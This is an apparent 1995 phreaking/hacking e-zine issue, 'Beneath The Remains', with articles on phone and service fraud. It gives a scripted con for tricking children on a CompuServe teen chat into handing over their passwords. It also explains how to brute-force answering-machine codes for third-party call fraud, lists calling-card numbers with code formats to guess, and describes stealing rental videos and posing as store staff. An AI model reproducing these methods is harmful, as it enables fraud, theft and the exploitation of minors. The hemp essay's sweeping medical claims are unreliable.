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Magazine
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This phile dated 01/16/1995
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Martin Luther King, JR's Birthday
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Will There Be Another Big Bell Crash Today?
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Volume 7
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³ You can always find BTR on PsychoTron BBS OR AWoL (518) 383-1369 ³
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ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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File : BTR-07.DOC
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Crew Of Editors:
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Substance - Head Honcho -=- Master Programmer -=- substance@globalone.net
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Roak Kill (RK) - Founder & Shit
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Treason - The Demon Knight -=- Head Of Format -=- treason@globalone.net
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Editors VMBs : (These will be updated as they go down)
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Substance - [800] 775-0728 No Extension, Direct VMB
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Treason - [800] 775-0712 Extension : 1688
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BTR Box - [800] 775-0712 Extension : xxxx
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Road Kill - None That We Know Of
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Disclaimer: BTR, it's Editors and writers take no responsibility for the
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information you learn from this mag. So blame it on someone else
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if you get in trouble!
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BTR HQ Sites : WHQ - Another Way of Life [AWoL] 518-383-1359
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HQ - PsychoTron BBS Systems [PBS] 919-PRI-VATE
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FTP - ftp.winternet.com [/users/craigb/btr]
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Add : Need A VMB? Well we here at BTR would be more than happy to setup just
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about anyone a 800 VMB free of charge. Although we wood except
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something or somethings in return. Not calling cards but access to
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private boards, PBXs, internet account, you know small things like that.
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But we don't guarantee your VMB will last that long. We have given some
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that have lasten 12 months, some 1 week. It's like New York lottery,
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"Hey, You never know."
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Exec ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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Writers : ³ Substance ³ Treason ³ Road Kill ³
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ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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Writers : ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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³ Stomp Box ³ Spoonman ³ Pliny The Elder ³
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³ Ghostrider³ Anarchist ³ Lizard Rock ³
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³ Morpheus ³ Phive ³ Twisted Image ³
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³ Labotomy ³ Firebug ³ Viper ³
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³ Ser ³ Ice-9 ³ Malvolent Trickster³
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ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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Beneath The Remains :
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- Table of Contents -
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ARTiCLE 1 of 14 [*] The All New BTR Magazine, Editors Note - Substance
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ARTiCLE 2 of 14 [*] Hacking Compu$erve - Road Kill
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ARTiCLE 3 of 14 [*] Why The Hell Should Hemp Be Legalized? - Pliny The Elder
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ARTiCLE 4 of 14 [*] Hacking Various Answering Machines - Substance
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ARTiCLE 5 of 14 [*] Prepaid Calling Cards - Treason
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ARTiCLE 6 of 14 [*] Renting Movies & Video Games For Free - Treason
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ARTiCLE 7 of 14 [*] An Introduction To Delrina Fax Mail - Treason
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ARTiCLE 8 of 14 [*] The Guide To The IVX500 VMB System - Treason
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ARTiCLE 9 of 14 [*] My Allnet Discovery - Treason
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ARTiCLE 10 of 14 [*] System 75 Defaults - Ser
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ARTiCLE 11 of 14 [*] A Simple MCi Code Hacker In Qbasic4.5 - Substance
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ARTiCLE 12 of 14 [*] Some 518-489 Scans - Substance
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ARTiCLE 13 of 14 [*] BTR Shorts - The Whole World
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ARTiCLE 14 of 14 [*] BTR News & Shit Like That - Crew Of Editors
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<.ARTiCLE.1.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³The All New Beneath The Remains Magazine / Editors Note³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by The Crew Of Editors
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Happy fucking new year. And welcome to the new and improved issue of Beneath
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The Remains online zine. BTR, a local 518 magazine, which is always here to
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provide readers with illicit info, ranging from Pyroteknix, Phone Phreaks,
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and Hacking to Frauds and ways to get cool stuff for free. We the editors at
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BTR are here to help you do cool stuff, and it is hard to keep up with the
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times and keep the articles flowing. So please send in ANY articles to AWoL
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[518-383-1369] pretty much anything you send in will be printed, ranging from
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frauds to how to get laid on the first date. Hope you enjoy the mag. And if
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you are going to distribute this mag and add your bbs file or group app or
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some shit like that don't make it too big and if theres that shit already in
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your issue of BTR please feel free to delete it. We don't want this mag too
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big to dload so don't add to much. Here are some perks if you want to become
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a writer: Access to special writers-only teleconferences, access to special
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sections on AWoL BBS, you get to see your name in this magazine, and much
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much more. If you want to become a executive writer you get all of the above
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plus your own personal VMB. To become an exec writer you have to write a lot
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of shit and help out a load.
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<.ARTiCLE.2.>
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³Hacking CompuServ³
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by
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Road Kill
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This one beats all the other pussy texts on hacking compusrv.. Those other
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ones are soo lame, with like 50 extra bbs ad's, to make it about 1 meg, when
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the text file is only about 10k... Well fuck that, do this, I can garuntee
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that you'll get some GREAT accounts.
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This method will stretch out your Social Engeneering Capabilities. (Basically
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bullshit lamers into their passwords) 1st get a fake trial account there..
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Just take a form out of a new modem box and get the free compuserv for a
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month deal, form.... Oh yea, to use those you'll need weird shit like a
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bank routing #, transit #, check #, bank name/#..... Also the other basics
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like
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1.> Real fake name
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2.> Real fake address
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3.> Real fake city/st/zip
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4.> Real fake phone #/data #
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Call up compusrv and once your all logged on type 'go cb' when you get logged
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into the CB simul8r. When your on the CB goto the general band, then I belive
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it is channel 17 (Teen Dorks). On there, when it asks for your handle, you
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will want to say a handle then [HELPER]. Use MIRROREYES, some dork i've
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scammed about 1 million accounts with. (yeah he is a real guy). So it would
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be MIRROREYES[HELPER] all in caps like so. Once on the teen channel, well
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you know how they are always saying shit like 16/f and 10/m... Well find
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some gullable 14/f or 10/m and (lets say there channel is #10) the conversation
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would go something like this:
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You : Hello, this is Joe Crawford, from Compuserve Security Department, wing
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19, we are sorry to inform you, but there are security breaches on
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your account
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Dork : Oh really? Like what
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You : Well have you been using your account extensively for many hours at
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a time, for the last 3 weeks?
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Dork : No... Ive been away
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You : Ok, well, we can set you up with a new ID and Password, but first We
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need to verify some information from you
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Dork : Shoot
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You : Name, Address, City, State, Phone, ID (even tho its in front of you), PW
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Dork : Felix Johnson, xxx, xxx, xxx- 75053,1122 - PW: cleanse*butthead
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You : Ok, thank you Felix, that information has been verified, you will get
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a form in the mail, within the next 4-6 weeks confirming your new
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account. Until then, you have a security block on your account. NO
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one can call except from your phone #
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Dork : Great thanx.
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E*O*Conversation
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You'll have that account for about 2 - 3 months before they catch on the bill
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is twice as much as it should be
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³Why The Hell Should Hemp Be Legalized?³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by Pliny The Elder
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I believe that marijuana should be legalized. It has proven
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medical uses, and has proven to be the "safest" mind altering
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substance you can put in your body. Marijuana has uses for
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commercial, medical, and individual interests.
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Marijuana is an Indian hemp plant which can grow just about
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anywhere and has been found growing in Arctic regions, the rain
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forests, and even in city dumps. It's scientific name is cannabis
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sativa which comes from the Latin word for hemp and sativa which
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means planted or sown (Leiberman 32). Marijuana was illegalized
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in 1937, for mostly political reasons (The Benefits of Cannabis
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1).
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Hemp is a renewable natural resource that yields the raw
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materials essential for more of our necessities and convinces
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than any other crop. Hemp grown on land in the United States that
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is not currently forested or used for agriculture can meet all of
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our oil and gas fuel needs. Twelve to thirty-eight million acres
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of hemp would provide enough fuel for all of our transportation
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use. This would mean $0.60 to $1 per gallon fuel cost to the end
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user. One ton of American grown hemp can be converted to more
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than two barrels of methanol. It is estimated that marijuana can
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yield ten to thirty tons per acre. Using hemp to generate fuel
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has several advantages over current fuels. Hemp, unlike
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petroleum, is grown as a crop, so it's a renewable energy source.
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All fuel products produce carbon dioxide when burned. Some argue
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that carbon dioxide is contributing to the "greenhouse effect"
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which is gradually warming the planet. Marijuana is a fast
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growing crop which effectively converts carbon dioxide back to
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oxygen (America's Family Farms). Charcoal, pyrolitic oil, gas, or
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methanol can be produced from cannabis hemp. Burning charcoal
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does not cause acid rain (Pulp & Paper 7).
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Marijuana is one of the best cash-crops that a farmer can
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grow. It is a rugged plant which has strong roots that help to
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anchor the soil to prevent erosion. Is requires less water,
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fertilizers and pesticides than do other food and cash crops like
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corn, cotton, and tobacco. Hemp leaves drop throughout the
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growing season, helping to add to the fertile topsoil and helping
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the soil retain it's moisture. Depending on how closely together
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the seeds are sown, hemp can help protect seedlings, or block
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sunlight to eliminate weeds. Hemp is also a good crop to rotate
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with other crops, since it helps fertilize the soil, and doesn't
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require a lot of chemicals which poison the earth (America's
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Family Farms).
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Cannabis hemp is the longest, most durable, and longest
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lasting natural fiber known to exist on the Earth. Ninety percent
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of all ship sails were made from hemp fibers since the birth of
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Christ until the 1930's. Virtually all canvas paintings were
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painted on cannabis hemp linen canvas. Ninety percent of all rope
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and twine was mode from cannabis hemp until 1937 (The Benefits of
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Cannabis 1). Seventy-five to ninety percent of the world's paper
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manufactured before 1883 was mode from hemp fiber, including the
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first two drafts of the Declaration of Independence. In 1916, the
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United States Department of Agriculture predicted a papermaking
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future for portions of the hemp stalk. They stated "Hemp hurd
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stock acts similarly to soda-poplar stock, but will produce a
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somewhat harsher and stronger sheet and one of higher folding
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endurance." A three page article appeared in the February 1938
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issue of Popular Mechanics entitled "The New Billion Dollar Crop"
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which described a breakthrough in removing the fiber-bearing
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cortex from the rest of the hemp stalk. The article stated "If
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federal regulations can be drawn to protect the public without
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preventing the legitimate culture of hemp, this new crop can add
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immeasurably to American agriculture and industry." Hemp can
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produce four times the amount of paper per acre than 20 year old
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trees and will grow anywhere in the 48 contiguous states (Pulp &
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Paper 7).
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For more than 3,500 years marijuana has been one of the most
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widely used drugs in oriental medicine. From 1842 to the 1880's,
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marijuana was one of the most often used drugs in the United
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States to treat the illnesses of adults and children. Recent
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research (1966 through 1976) reconfirms marijuana to be the
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medicine of choice for glaucoma, epilepsy, muscular spasms,
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reduction of tumors, control of nausea in cancer chemotherapy,
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emphysema, migraine, depression, and anorexia nervosa. Ninety
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percent of glaucoma victims can benefit from the use of
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marijuana. Marijuana is two to three times as effective as any
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currently legal medicines for reducing ocular pressure, without
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toxic side effects associated with legal glaucoma drugs.
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Marijuana is also one of the best dilator of the bronchi and
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bronchoiles, opening them up to allow more oxygen into the blood
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Medical research indicates that light marijuana smoking would be
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the therapy of choice for mild emphysema to allow more fresh
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areas of the bronchi to open up for more oxygen transfer. All
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research into the oxygen transfer effects caused by marijuana
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indicates that chest pains, shallowness of breath, headaches,
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etc. which are symptomatic of heavy smog exposure are usually
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alleviated by light smoking of marijuana throughout the day.
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Marijuana is the best natural expectorant to empty the lungs of
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smog. It's estimated that marijuana would replace more than fifty
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percent of Valium, Librium, and Stellazine. Marijuana is
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currently the best way known to dry one's mouth for dentistry;
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and if legal would replace the highly toxic Probanthine.
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Marijuana is also the best relaxant and back spasm medicine
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available short of morphine (The Benefits of Cannabis 2-3).
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Even if the beneficial effects of marijuana are ignored for
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a minute, the question of legalization is still an easy one. No
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government, federal, state, or local has any right to tell any
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man what he can or can not do to his body. It is possible that
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the government has a responsibility to educate the public about
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substances that might be harmful to them. It might even be
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arguable that governments have a right to protect people from
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dangers that they can not perceive, such as dangers from a
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pesticide. Instead of letting the populace decide for themselves,
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the United States government is deciding for them. The government
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is saying that they don't trust John Q. Public to make up his own
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mind, and that they must remain every vigilant over him to
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protect him from every possible harm in the world. The United
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States Government apparently doesn't want a free thinking society
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where people can make up their own minds. Aspirin causes hundreds
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of deaths a year. During the entire record of human existence,
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not a single death has been caused by cannabis (Young 1).
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The benefits of legalization of cannabis sativa are nearly
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innumerable. There has not been a single death related to hemp in
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all of recorded history. What possible reason can anyone give to
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deny the citizens of the United State's right to use God's great
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gift to the fullest? Sure, the chronic smoker won't get a
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completely free ride, but they know that and it is their
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decision. Hemp must be legalized for commercial and medicinal
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purposes and the purposes of the individual. Who will deny the
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human race the great benefits that can come from this mighty
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herb?
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Works Cited
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The Benefits of Cannabis. Peacenet, 1992.
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Leiberman, John S. Plants that grow Wild. New York: Prentice
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Hall, 1984.
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The Proven way to Save America's Family Farms. California:
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Business Alliance for Commerce in Hemp, N.d.
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Young, Francis L. Cannabis/Marijuana's Accepted Safety for Use
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Under Medical Supervision. New York: N.p., 1988.
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Young, Jim. "It's time to reconsider hemp." Pulp & Paper June
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1991: 7.
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<.ARTiCLE.4.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³Hacking Various Answering Machines³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by Substance
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Welcome to the wonderful world of answering machine hacking, to start
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ill first tell you a bit about what the hell the purpose of hacking
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answering machines is. Here is some purposes :
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1 Free Calls (3rd party)
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2 Chicks Dig It
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3 You can use it as a code line
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To find an answering machine, you need the IQ of a dog (in other words
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Coventry, dont bother). Once you find it, and start hearing the message
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hit *, if that works and it brings you straight to the BEEP, then krad, yer
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set.. If not, dont bother hacking it, it wont even let you access it remotly.
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A good answering machine to hack is (518)383-1111 Jesus, i must have cracked
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that guys code 400 times, everytime he'd change it, id get it :> Now most
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answering machines are only 2 digit passwords, some 3, and a very tight
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security (which really isnt needed for an answering machine) would of course
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be 4 digits... Once you hear the beep to start recording, start with 00, dial
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like this
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(Oh yeah, a big button phone for blind people is suggested for this way)
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Pattern for haking ans. machinez
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00 01 02 03 04 05 06 07 08 09 10
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11 12 13 14 15 16 17 18 19 20 21
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22 23 24 .................... 99
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Keep listening closly to the earpeice while you dial these.. You should hear
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another beep, then the messages that were previously recored playing backwards
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After a few sex, if you hit a good one, it will have a audiomated voice, spi-
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tting out options. Like * for help, 1 to hear messages, 2 to delete messages,
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3 to Change outgoing announcment, 4 to logout (Alltho not in those exact werds)
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Heres where the making free calls comes in... Hit the number that you hit to
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change outgoing announcment, when you hear another BEEEPPP then say EXACTLY
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this.
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' Operator I except all 3rd party and Collect Calls ........ Hi this is
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<name> at <the # of the hacked house> please leave a message '
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Then it will save (usually, unless told otherwise, Earlier)... The very great
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thing about this shit is, that if you call the operator and say 'Id like to
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make a 3rd party call to (npa)xxx-yyyy, my name is Rick' They will call and
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say 'The party verified, thank you for abusing AT&T <click> ' Whala Yer
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connected 4 free.. Even tho there bill will say
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'3rd party bill from (yer)num-ber to (cal)led-party' You CANNOT and i repeat
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CANNOT get introuble, say you didnt do it, AND even if they prove it, THEY
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ACCEPTED, what the fuck can they do!?!?!?!?
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You can use it as a code line, if its 8oo, which are kinda hard to comeby,
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but still cool
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Enuf with this....
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<.ARTiCLE.5.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³An Overview Of Prepaid Calling Cards³
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³ First Release ³
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by ÄÄÅÄÄreason³ {518}
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ÀijÄÄÄÄÄÄÄÄÙ
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Lately in the past few months or so I have noticed a rather large
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ammount of Prepaid Calling Cards being distributed. A Prepaid Calling Card
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is A Calling Card that all you do is pay for it and it has a special ammount
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of time slotted. I thought this would be a particularly useful topic to write
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about since it can aid all phreaks and hackers. Lets say I went to Joe Store
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and gave them $15. In return I would most likely recieve a 10 or 15 minute
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call card. In this article I am going to focus on mainly a few that I happen
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to know some about. I have only seen PCCs in intervuls of 7, 10, 25, 30, and
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90 minute cards. And all of these cards have 1 thing in common. An annoying
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as hell bitchy voice comes on when theres one minutes left on your PCC and
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tells you that. That fucks up any modem connection if any. Plus all of these
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service are open 24/7.
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Theres a new company called Talk 'N Toss. They are offering 30 minute
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and 90 minute call cards to resalers. So if you wish to place an order to
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sell them at your business dial their customer service toll-phree hotline.
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(800) 631-8895. Plus i'm sure you can SE the lady into getting free cards.
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I've done it once so it can be done. This call doesn't appear on your phone
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bill. They say it saves 38% from a normal AT&T Call Card.
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I have seen these selling only two places. The first is a grocery
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store in Colorado called Albertsons. I don't know if this grocery store is
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only in Colorado, but thats just where I have happen to run across it. The
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other is Revco drugstore formerly Brooks. They have 10 minute card for $3.99
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and a 20 minute card for $9.99(?) and a 30 minute call card goes for $9.99
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there, and a 90 minute phone card goes for a whopping $24.99. Deal or not?
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If you want to fuck with 'em call (800) 213-0304, in the form XXX-XXX-XXX.
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With the customer service # at (800) 354-2708.
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Marvel Comics and Kay-Bee toys have put together a deal to sell 20
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minute X-Men calling cards. They have 4 so called limited edition cards with
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some wussy's fighting on the front. On the back there is a card and a scratch
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off area to see the card number. To further expirement call (800) 616-8883.
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The cards are 9 digits long.
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Champs Sporting Goods Store has a new deal where if you purchase over
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$35 worth of shit you get a free 7 minute call card. 7 minutes basically
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ain't worth shit. But for some things it is. The number is (800) 437-6404.
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The cards have 9 digits in the form : XXX-XXX-XXX.
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Randomly inserted into Classic 4-Sport, sports cards are Sprint
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100,000 Prepaid FoNCARDS. Now what the fuck would some baseball card do with
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a Prepaid FoNCARD? I still haven't figured it out. But Sprint has some deal
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with Classic Games Inc. The odds of finding a Sprint FoNCARD is 1:72. I don't
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know for how many minutes they are for or how many digits they are. But If
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I find anything I'll keep you posted.
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Again Classic is trying to offer something to the collector again. But
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this time it's about real money. Not opening a $1.50 pack of cards. They're
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now offering 1, 5, 10, 20 and 1000 dollar cards to dealers. These are such hot
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commodities that the prices double every quarter! So I asked some ripoff
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artist what the deal was on getting it he said for a $1000 card you must pay
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a $750 downpayment with a max order of 1. But the rest you have to order 18
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cases of the rest to order them wholesale. That's 108 cards a case. But I'm
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sure you can find them singular. Try looking in your local sports page for
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adds for Sportscards conventions.
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Attention sports fans once again. GTE is offering 25 minute call cards
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that look like actual calling cards. But these cards you can order with any
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proffesional football team helmet logo on the front of it. They call these
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"NFL Collectibles". But the minimum order is 2 cards. Plus then they send you
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a 5 minute bonus card that features helmets from all 30 NFL teams. To order
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each card is only $14.75 but you have to get 2. Call 1-800-GTE-3804 in the
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US. And outside the US call (303) 743-4138, extension 712. Or just fax
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(303)-727-4994. You must order these with a credit card. I saw this add in
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Sports Illustrated.
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Hallmark is also working with Sprint to rip you off for the Christmas
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season. They have 10 minute call cards which are poly-wrapped inside greeting
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cards. Now for the Christmas season they have tighter wrapped Christmas Call
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Cards. These sell for $5.95 at you local Hallmark store. But I happen to like
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these cards the best since they're easier to ripoff. Go ahead hack some.
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(800) 504-1115, or for the same plus a Happy Holidays greeting call
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(800) 203-1225. Either way it works. They are 10 digits in the form :
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XXX-XXX-XXXX. Their customer service/questions toll-phree hotline is
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(800) 516-2121. You can only call US plus US territories.
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Pepsi Cola company is the stupidest asses for printing the phone #
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for their calling card system on the back of any 12 pack box. Pepsi offers
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the shitiest cards but spent the most on advertising. They have a 5 minute
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calling card randomly inserted into Pepsi Holiday 12 packs. So just call up
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s(800) 929-COLA or (800) 929-3652 (same) and it says "Enter Your 14 Digit
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Code". It's just asking to be ripped off. But if you think a Hallmark 10
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minute card isn't worth it then fuck this idea.
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7-11 the slurpee guys are now working with AT&T to bring you their
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7-11 Phone Cards. It's supposed to save 50% or more. Now I know this is a big
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crock of shit. On the brochure it shows a data table comparing a 3 minute call
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from LA to NY. It says a 7-11 Phone Card is $1.00, Collect Call is $3, a
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Payphone is $2.70, and a Call Card is $1.70. I know when I call LD it's only
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like 15 or close to the cents a minute, not this ripoff. They are available
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in 15, 30 or 60 minute cards. I found a nice sales pitch on the brochure. It
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says "After your time is used up, the card becomes inactive and you just buy
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a new card!", yeah right. With this card unlike the Hallmarks you can call
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international. But this call must originate from within the US. But since
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international rates vary a 15 minute card could only be 5 minutes. They don't
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actually give you that ammount of time. It depends where you call. It's just
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setup so you have a certain ammount of money credit and once that's used fuck
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how many minutes are left your time is up. Remember when you want a 7-11 card
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it is always best to ask for Habib.
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Here is a list of those #'s and how many digits your supposed to use.
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Talk n Toss Customer Service (800) 631-8895
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Talk n Toss/Revco Cards (800) 213-0304 - 10 Digits
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Talk n Toss/Revco/CS (800) 354-2708
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X-Men/Kay Bee Toys (800) 616-8883 - 9 Digits
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Champs Sporting Goods (800) 437-6404 - 10 Digits
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Pepsi (800) 929-CoLA - 14 Digits
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Hallmark/Sprint (800) 504-1115 - 10 Digits
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Hallmark/Sprint/Holidays (800) 203-1225 - 10 Digits
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Ordering GTE Football Cards (800) GTE-3804
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Ordering GTE In 303 NPA (303) 743-4138
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Ordering GTE In 303 NPA Fax (303) 727-4994
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<.ARTiCLE.6.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³Renting Movies & Video Games For Free³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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by
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ÚijÄÄÄÄÄÄÄÄ¿
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ÄÄÅÄÄreason³ {518}
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ÀijÄÄÄÄÄÄÄÄÙ
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treason@globalone.net
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Question:
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So you want to be able to go to just about anyvideo store or grocery store
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and get some free movies and video games that are NEVER due back?
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Answer:
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Hell Yeah, read on.
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There are 2 ways to pull this one off. At places where you either :
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<.1.> Return Videos To Countertop
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<.2.> Return Videos Through Dropslot
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<.3.> Stand Outside While Pretending To Work There
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<.1.> Return Videos To Countertop
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First find a place where you can rent movies or games. Video stores are the
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first and easiest targets. Grocery stores are up there to. You want to find
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a video store where when after a person rents a movie they have to set it
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on a countertop and a person who works there will pick it up and put it back
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when he/she has time. Most people who work at video stores are either bored
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to death or overwelmed with work. You don't want to be in a place where the
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clerk is watching Benji Comes Home 24/7. You want a nice quick busy paced
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atmosphere. Now the good part.
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When a person finished their movie/game and set it on the counter the person
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has go to the area to put it back. But it theres people trying to take out
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movies at the same time they do it once the active customer is finished.
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That's where you come in. Hang around a video store for a while so you get
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used to the atmosphere in a way. Find a good area to pretend to be looking
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at movies but where you can see the cashier and renter. Pick a good time.
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From 7PM to closing is usually one of the best. Once you have atleast a 2
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person line and a pile of videos starting to build that's where you mosey
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on over. You don't have to be stealth just act like your looking at the
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videos recently dropped in. If anything looks semi-interesting just slowly
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move your hands with the video in them down to under the counter where the
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dude behind it can't see the flick you have in your hands. Now you won't get
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caught, turn around and walk to some other section of the store. Place the
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article of viewing anywhere in your clothing you want to. Then just get out.
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I have found this work mostly. The key thing is all in the right timing. Once
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you get the goods you can watch them, sell them or burn them.
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<.2.> Return Videos Through A Dropslot
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Now this method is still easy but it takes a little more brains. There are 2
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kinds of dropslots. The first is a downward slot through somewhere in a
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counter or table where the stuff drops into a box or something. Where the
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second is a little door you open then drop the videos in, plus you have to be
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able to see the pile of videos on the bottom.
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In the first dropslot situation you can find something like a little piece of
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wood or metal you can slip in to stop videos from going all the way to the
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bottom. Then once they have put their shit on in you can just reach in and
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take 'em. Another idea is take a hanger and unfold it so it's straight and
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position one side so it sort of locks around one edge and wedge it down so
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it'll stop the flow of videos, then hook the other side to the other edge.
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So that will catch them also.
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Here is a diagram demostrating how you can fit something in to stop the flow
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of videos. The rectangle in the middle is the dropslot, and the thing between
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it is the hangar. I have it at a slant to you can better picture it.
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<.3.> Stand Outside While Pretending To Work There
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Get a fairly large cardboard box and write video drop on it in marker. If
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this store your going to victimize has nametags, then make one with an alias
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on it for you, or steal one. This betterly works at videostores, not really
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other places. I don't recomend trying this in cold weather.
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Stand outside and as customers walk to the door tell them that your doing a
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complementary service and collecting videos outside so they don't have to go
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inside. If they say they're going inside anyways it's best to shut your
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mouth, because you don't want people complaining about a fake employee. With
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this method collect as much as you want until you hear sirens.
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<.ARTiCLE.7.>
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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³An Introduction To Delrina Fax Mail³
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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ÚijÄÄÄÄÄÄÄÄ¿
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by ÄÄÅÄÄreason³ {518}
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ÀijÄÄÄÄÄÄÄÄÙ
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[ÄÄBEGINÄADDÄÄ]
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Delrina Fax MailBox Add:
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No matter where you are, where your're headed, or what time it is, you can
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now be certain you'll get every fax people send you Ä- even if they don't
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know where to find you. With new Delrina Fax MailBox service, it's easy. In
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fact, we're so sure you'll agree, we're going to give you one month of
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service and 10 fax pages free. Now, confidential and reliable fax storage is
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just two easy sets away.
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Step One: Someone needs to send you a fax, so they dial your toll-free 800
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number (which we give you) and it goes. Then Fax MailBox recevies and stores
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it for you electronically until your ready to retrieve it.
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Step two: You use your PC or laptop with a fax modem and Delrina WinFax PRO
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4.0 software, and retrieve your fax with a simple click of the mouse. Or use
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a fax machine, enter your password, and print it on the spot. It's that easy.
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Just think of Fax MailBox as voice mail, but for faxes.
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Call today and sign up for Delrina Fax MailBox and you'll start getting all
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your faxes ÄÄ for a change.
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Delrina FaxMailbox 1-800-238-8980
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[ÄÄENDÄADDÄÄ]
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Basically what this system is a VMB but for faxes. So it's a FMB.
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What you can do with this is have someone send your FMB a fax and you can
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call enter you password and retrieve it. It can be good for hackers so you
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can have the back and forth exchange of elite information.
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You can call that number for the a month free. If you register it to
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an alias and tell them not to call you or give them a number that's always
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busy. Remember this your service is only cut off when you cancel it. So your
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service can keep on going and going and going with bills being sent to your
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alias.
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Once I ran across a Delrina Fax MailBox number by accident, here it
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is. 1-800-368-9414 and then the next few numbers are assigned to it. You can
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try to hack the password. (That whole 1-800-369-94xx is loaded with these)
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Each member gets their own 800 number an operator told me.
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I basically know a little but this is good enough for someone to
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start out on.
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<.ARTiCLE.8.>
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ÄÄÄÄÄÄÄÄÄ
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³ IVX500 Voice Mail Users Guide ³
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by
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ÚijÄÄÄÄÄÄÄÄ¿
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ÄÄÅÄÄreason³ [518]
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ÀijÄÄÄÄÄÄÄÄÙ
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treason@globalone.net
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This is an IVX500 Voice Mail Users Guide. I know someone that recently
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purchased this system for his office and I got a handy manual. So I
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read it over and decided certain things just needed to be known. But
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when I told most people that I was typing this up they thought it would
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be close to a 6,000 page document, like a Meridian Mail. But this system
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is just as efficent and you will find all of the command listed below.
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Index
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<.1.> Introduction To IVX500 Voice Mail
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<.2.> Entering And Initialinzing Your Mailbox
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<.3.> Listening To And Sending Messages
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<.4.> Personal Options
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<.5.> Remote Messaging And Using The Directory
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<.6.> Where Can I Find This System?
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<.1.> Introduction To IVX500 Voice Mail
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The IVX500 System has a Voice Mail feature that allows callers to send and
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recieve recorded messages from any station or touchtone telephone. (Callers
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using dial-pulse phones can be routed to the operator for assistance)
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Stations users and outside callers reach Voice Mail in the following ways:
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þ By dialing the telephone number or extension number assigned to the Voice
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Mail application.
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þ By being transferred to Voice Mail by the automated attendant.
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þ By being forwarded (using manual or system forward) to Voice Mail when a
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called station is unavailable.
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þ By responding to message waiting indications left by Voice Mail at a
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station. (Not available with some telephone systems and station instruments)
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When you reach Voice Mail, you wil hear recorded instructions that tell you
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what to do next. Simply listen to the prompts and press the keypad key that
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corresponds to the desired choice. If you do not respond immediately, a second
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set of prompts is played.
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Most prompts are interruptible, and you can press the desired key at any time
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during the prompt. The prompt will then stop and the system will act on the
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requested choice.
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Each Voice Mail user can be assigned a unique Voice Mailbox number. There are
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three types of mailboxes: Standard, Receive-Only, and System Administrator.
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þ Standard mailbox features include: listening to new messages, sending
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messages, forwarding messages, deleting messages, saving messages,
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programming personal options, and if authorized through database programming
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setting up remote messaging.
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þ A Receive-Only mamilbox user can only listen to new messages, save or delete
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them, and program personal options.
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þ The System Administrator has all of the Standard mailbox options, plus the
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ability to record and send broadcast messages, provide mailbox and group
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list maintenance, and record and select custom recordings.
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With most telephone systems, your station is signaled when your mailbox gets
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a message. If you have a keyset the MSG key lights and the display shows that
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a message ha been received. If you have a single-line set, the MSG key lights
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and you hear message waiting signals(ie 6 tones) when the handset is lifted.
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NOTE: Message waiting indications (lights, displays and signals) may not be
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available on certain telephone systems and station instruments.
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If your station has more than one associated mailbox, the message indications
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will continue until all messages from all associated mailboxes have been
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heard. However, the display does not show which mailbox has recieved the msgs.
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Remote Messaging can be enabled or your mailbox through database programming
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and set up through your mailbox. It allows you to enter the primary and set
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up through your mailbox. It allows you to enter the primary and/or alternate
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telephone number or extension number that the system will call when new
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messages are recieved by your mailbox.
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<.2.> Entering And Initializing Your Mailbox
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When you enter your mailbox, the system mayi play one of the following msgs.
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þ MAILBOX ALMOST FULL OR FULL: If your mailbox is full, no new messages can
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be recieved unitl you delete waiting or saved messages.
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þ MESSAGE COUNT: The system tells you how many messages are waiting to be
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heard, if any and how many are priority messages.
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þ REMOTE MESSAGING: The system will indicate whether primary or alternate
|
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remote messaging is selected when remote messaging is enabled. It will also
|
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alert you if a programming error has been detected and/or whether it
|
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encountered busy sytem resources when attempting to place a remote messaging
|
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call.
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ENTER YOUR MAILBOX BY THE FOLLOWING STEPS:
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ÄÄ Dial the Voice Mail access number. (You hear the Main Menu)
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ÄÄ During or after the greeting, press * to identify yourself as a subscriber.
|
